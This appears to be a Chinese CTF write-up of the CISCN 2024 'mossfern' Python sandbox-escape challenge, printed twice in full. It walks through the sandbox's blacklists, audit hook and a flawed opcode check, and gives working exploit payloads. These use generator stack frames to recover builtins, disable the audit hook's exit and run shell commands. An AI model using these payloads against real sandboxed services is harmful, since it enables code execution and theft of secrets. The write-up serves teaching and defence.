[CISCN 2024 mossfern]从一个题来详细了解Python栈帧进行沙箱逃逸的利用思路
字数 1265
更新时间 2025-12-31 12:13:04
Python沙箱逃逸与栈帧利用技术详解
——基于CISCN 2024 mossfern题目的深入分析
题目背景与代码结构
整体架构
题目包含两个主要文件:
main.py:Web服务入口,处理用户请求runner.py:沙箱执行环境,对用户代码进行安全检查
核心代码分析
main.py
import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1
app = Flask(__name__)
runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()
@app.post("/run")
def run():
id = str(uuid1())
try:
data = request.json
# 替换占位符并写入文件
open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
# 执行沙箱代码
run = subprocess.run(
['python', f"/app/uploads/{id}.py"],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=3
)
# 返回执行结果
result = run.stdout.decode("utf-8")
error = run.stderr.decode("utf-8")
# 清理临时文件
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({"result": f"{result}\n{error}"})
except:
# 异常处理中的文件清理
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({"result": "None"})
runner.py核心执行逻辑
if __name__ == "__main__":
from builtins import open
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from io import StringIO
from random import seed
from time import time
source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
# 三层安全检查
source_simple_check(source)
source_opcode_checker(source)
code = compile(source, "<sandbox>", "exec")
addaudithook(block_wrapper())
outputIO = StringIO()
with redirect_stdout(outputIO):
seed(str(time()) + "THIS_IS_SEED" + str(time()))
exec(code, {
"__builtins__": None,
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)
output = outputIO.getvalue()
if "THIS_IS_SEED" in output:
print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
print("bad code-operation why still happened ah?")
else:
print(output)
三层安全防护机制分析
1. source_simple_check(source)
def source_simple_check(source):
from sys import exit
from builtins import print
try:
source.encode("ascii") # 强制ASCII编码检查
except UnicodeEncodeError:
print("non-ascii is not permitted")
exit()
# 关键词黑名单检查
for i in ["__", "getattr", "exit"]:
if i in source.lower():
print(i)
exit()
防护特点:
- 强制ASCII字符集,防止Unicode绕过
- 黑名单包含双下划线、getattr、exit等关键函数
- 大小写不敏感检查
绕过方法:
- 使用字符串拼接绕过双下划线检查:
'_' + '_' + 'builtins' + '_' + '_'
2. block_wrapper() - 审计钩子
def block_wrapper():
def audit(event, args):
from builtins import str, print
import os
# 事件和参数拼接检查
for i in ["marshal", "__new__", "process", "os", "sys", "interpreter",
"cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit
防护特点:
- 实时监控Python解释器事件
- 覆盖文件操作、模块导入、编译等敏感操作
- 事件和参数拼接检查,增加绕过难度
绕过思路:
- 使用不包含黑名单关键词的方法(如栈帧操作)
- 覆盖审计钩子中的退出函数
3. source_opcode_checker(code) - 字节码检查
def source_opcode_checker(code):
from dis import dis
from builtins import str
from io import StringIO
from sys import exit
opcodeIO = StringIO()
dis(code, file=opcodeIO) # 反汇编为字节码
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode:
# 检查危险操作码
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
# 逻辑漏洞:白名单检查后使用break跳出
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()
关键漏洞:
- 使用
break而非continue,导致只检查第一行字节码 - 白名单机制允许特定函数通过检查
利用方法:
- 在代码开头放置包含白名单函数的危险操作
- 后续恶意代码不会被检查
栈帧利用技术详解
栈帧基本概念
栈帧(Stack Frame)是函数调用时在调用栈上分配的内存区域,包含:
- 局部变量
- 函数参数
- 返回地址
- 上一帧指针
Python中通过帧对象(Frame Object)访问栈帧信息。
生成器获取栈帧技术
核心原理
# 生成器表达式创建时包含完整的调用栈信息
gen = (gen.gi_frame.f_back.f_back for i in [1])
frame = [*gen][0] # 强制触发生成器执行
技术细节分析
为什么使用生成器?
- 生成器在创建时保留完整的调用栈信息
- 惰性求值特性允许延迟执行
- 不受
__builtins__被清空的影响
生成器表达式 vs 列表推导式
# 列表推导式 - 立即执行,无栈帧保留
result = [x for x in [1]] # 执行完成后栈帧被清理
# 生成器表达式 - 延迟执行,保留栈帧
gen = (x for x in [1]) # 创建时保留调用栈帧
高版本Python适配
Python 3.11+版本中,生成器栈帧链接方式变化:
- 静态生成器的
f_back可能为None - 必须通过执行触发栈帧链接
[*gen]或next(gen)强制执行
完整的栈帧利用EXP
import requests
url = "http://target-url/run"
payload = """
try:
[].print() # 触发白名单检查,利用break漏洞
except:
pass
# 生成器获取栈帧
gen = (gen.gi_frame.f_back.f_back for i in [1])
frame = [*gen][0]
# 重建builtins
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']
str = bti.str
# 输出常量池中的flag
for i in str(frame.f_code.co_consts):
print(i, end = " ")
"""
r = requests.post(url, json={"code": payload})
print(r.text)
替代方案:函数式生成器
def builder():
yield gen.gi_frame.f_back.f_back.f_back # 调整回溯深度
gen = builder()
frame = [x for x in gen][0]
深度调整原则:
- 根据实际调用栈结构调整
f_back数量 - 通常需要2-3层回溯到达目标帧
高级利用技术:审计钩子绕过
覆盖退出函数技术
def Acc_print(a):
# 获取审计函数的局部变量
Acc = (Acc.gi_frame.f_back.f_back.f_locals for _ in [1])
locals = [*Acc][0]
# 覆盖os._exit为print函数
if 'os' in locals:
bti.setattr(locals['os'], "_ex" + "it", print)
print('yes you did it')
bti.print = Acc_print # 污染print函数
完整的RCE利用EXP
payload = """
try:
[].print()
except:
pass
def builder():
yield gen.gi_frame.f_back.f_back.f_back
gen = builder()
frame = [x for x in gen][0]
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']
def Acc_print(a):
Acc = (Acc.gi_frame.f_back.f_back.f_locals for _ in [1])
locals = [*Acc][0]
if 'os' in locals:
bti.setattr(locals['os'], "_ex" + "it", print)
bti.print = Acc_print
# 重建eval和import功能
eval = bti.eval
gta = eval('bti.get' + 'attr', {'bti': bti})
ipt = gta(bti, '_' + '_import_' + '_')
system = ipt('os').system
system('cat /flag')
"""
防御建议与总结
代码审计要点
-
字节码检查漏洞修复
- 将
break改为continue确保完整检查 - 加强白名单机制或移除逻辑漏洞
- 将
-
审计钩子强化
- 监控栈帧操作相关事件
- 防止关键函数被覆盖
-
深度防御策略
- 结合多种检测机制
- 限制执行环境权限
技术总结
Python沙箱逃逸的核心在于理解:
- Python解释器的执行模型
- 字节码与源码的对应关系
- 运行时环境的完整性保护
- 防御机制的逻辑漏洞利用
栈帧利用技术展示了即使在高强度限制下,通过Python内部机制仍可能实现逃逸,强调了安全机制需要全面覆盖各种攻击向量。
Python沙箱逃逸与栈帧利用技术详解
——基于CISCN 2024 mossfern题目的深入分析
题目背景与代码结构
整体架构
题目包含两个主要文件:
main.py:Web服务入口,处理用户请求runner.py:沙箱执行环境,对用户代码进行安全检查
核心代码分析
main.py
import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1
app = Flask(__name__)
runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()
@app.post("/run")
def run():
id = str(uuid1())
try:
data = request.json
# 替换占位符并写入文件
open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
# 执行沙箱代码
run = subprocess.run(
['python', f"/app/uploads/{id}.py"],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=3
)
# 返回执行结果
result = run.stdout.decode("utf-8")
error = run.stderr.decode("utf-8")
# 清理临时文件
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({"result": f"{result}\n{error}"})
except:
# 异常处理中的文件清理
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({"result": "None"})
runner.py核心执行逻辑
if __name__ == "__main__":
from builtins import open
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from io import StringIO
from random import seed
from time import time
source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
# 三层安全检查
source_simple_check(source)
source_opcode_checker(source)
code = compile(source, "<sandbox>", "exec")
addaudithook(block_wrapper())
outputIO = StringIO()
with redirect_stdout(outputIO):
seed(str(time()) + "THIS_IS_SEED" + str(time()))
exec(code, {
"__builtins__": None,
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)
output = outputIO.getvalue()
if "THIS_IS_SEED" in output:
print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
print("bad code-operation why still happened ah?")
else:
print(output)
三层安全防护机制分析
1. source_simple_check(source)
def source_simple_check(source):
from sys import exit
from builtins import print
try:
source.encode("ascii") # 强制ASCII编码检查
except UnicodeEncodeError:
print("non-ascii is not permitted")
exit()
# 关键词黑名单检查
for i in ["__", "getattr", "exit"]:
if i in source.lower():
print(i)
exit()
防护特点:
- 强制ASCII字符集,防止Unicode绕过
- 黑名单包含双下划线、getattr、exit等关键函数
- 大小写不敏感检查
绕过方法:
- 使用字符串拼接绕过双下划线检查:
'_' + '_' + 'builtins' + '_' + '_'
2. block_wrapper() - 审计钩子
def block_wrapper():
def audit(event, args):
from builtins import str, print
import os
# 事件和参数拼接检查
for i in ["marshal", "__new__", "process", "os", "sys", "interpreter",
"cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit
防护特点:
- 实时监控Python解释器事件
- 覆盖文件操作、模块导入、编译等敏感操作
- 事件和参数拼接检查,增加绕过难度
绕过思路:
- 使用不包含黑名单关键词的方法(如栈帧操作)
- 覆盖审计钩子中的退出函数
3. source_opcode_checker(code) - 字节码检查
def source_opcode_checker(code):
from dis import dis
from builtins import str
from io import StringIO
from sys import exit
opcodeIO = StringIO()
dis(code, file=opcodeIO) # 反汇编为字节码
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode:
# 检查危险操作码
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
# 逻辑漏洞:白名单检查后使用break跳出
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()
关键漏洞:
- 使用
break而非continue,导致只检查第一行字节码 - 白名单机制允许特定函数通过检查
利用方法:
- 在代码开头放置包含白名单函数的危险操作
- 后续恶意代码不会被检查
栈帧利用技术详解
栈帧基本概念
栈帧(Stack Frame)是函数调用时在调用栈上分配的内存区域,包含:
- 局部变量
- 函数参数
- 返回地址
- 上一帧指针
Python中通过帧对象(Frame Object)访问栈帧信息。
生成器获取栈帧技术
核心原理
# 生成器表达式创建时包含完整的调用栈信息
gen = (gen.gi_frame.f_back.f_back for i in [1])
frame = [*gen][0] # 强制触发生成器执行
技术细节分析
为什么使用生成器?
- 生成器在创建时保留完整的调用栈信息
- 惰性求值特性允许延迟执行
- 不受
__builtins__被清空的影响
生成器表达式 vs 列表推导式
# 列表推导式 - 立即执行,无栈帧保留
result = [x for x in [1]] # 执行完成后栈帧被清理
# 生成器表达式 - 延迟执行,保留栈帧
gen = (x for x in [1]) # 创建时保留调用栈帧
高版本Python适配
Python 3.11+版本中,生成器栈帧链接方式变化:
- 静态生成器的
f_back可能为None - 必须通过执行触发栈帧链接
[*gen]或next(gen)强制执行
完整的栈帧利用EXP
import requests
url = "http://target-url/run"
payload = """
try:
[].print() # 触发白名单检查,利用break漏洞
except:
pass
# 生成器获取栈帧
gen = (gen.gi_frame.f_back.f_back for i in [1])
frame = [*gen][0]
# 重建builtins
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']
str = bti.str
# 输出常量池中的flag
for i in str(frame.f_code.co_consts):
print(i, end = " ")
"""
r = requests.post(url, json={"code": payload})
print(r.text)
替代方案:函数式生成器
def builder():
yield gen.gi_frame.f_back.f_back.f_back # 调整回溯深度
gen = builder()
frame = [x for x in gen][0]
深度调整原则:
- 根据实际调用栈结构调整
f_back数量 - 通常需要2-3层回溯到达目标帧
高级利用技术:审计钩子绕过
覆盖退出函数技术
def Acc_print(a):
# 获取审计函数的局部变量
Acc = (Acc.gi_frame.f_back.f_back.f_locals for _ in [1])
locals = [*Acc][0]
# 覆盖os._exit为print函数
if 'os' in locals:
bti.setattr(locals['os'], "_ex" + "it", print)
print('yes you did it')
bti.print = Acc_print # 污染print函数
完整的RCE利用EXP
payload = """
try:
[].print()
except:
pass
def builder():
yield gen.gi_frame.f_back.f_back.f_back
gen = builder()
frame = [x for x in gen][0]
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']
def Acc_print(a):
Acc = (Acc.gi_frame.f_back.f_back.f_locals for _ in [1])
locals = [*Acc][0]
if 'os' in locals:
bti.setattr(locals['os'], "_ex" + "it", print)
bti.print = Acc_print
# 重建eval和import功能
eval = bti.eval
gta = eval('bti.get' + 'attr', {'bti': bti})
ipt = gta(bti, '_' + '_import_' + '_')
system = ipt('os').system
system('cat /flag')
"""
防御建议与总结
代码审计要点
-
字节码检查漏洞修复
- 将
break改为continue确保完整检查 - 加强白名单机制或移除逻辑漏洞
- 将
-
审计钩子强化
- 监控栈帧操作相关事件
- 防止关键函数被覆盖
-
深度防御策略
- 结合多种检测机制
- 限制执行环境权限
技术总结
Python沙箱逃逸的核心在于理解:
- Python解释器的执行模型
- 字节码与源码的对应关系
- 运行时环境的完整性保护
- 防御机制的逻辑漏洞利用
栈帧利用技术展示了即使在高强度限制下,通过Python内部机制仍可能实现逃逸,强调了安全机制需要全面覆盖各种攻击向量。